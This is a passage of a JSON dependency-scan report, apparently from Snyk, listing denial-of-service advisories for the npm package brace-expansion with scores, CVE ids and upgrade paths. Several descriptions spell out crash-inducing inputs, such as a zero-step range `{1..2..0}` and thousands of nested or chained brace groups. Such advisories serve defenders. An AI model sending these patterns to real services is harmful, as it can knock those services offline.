"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
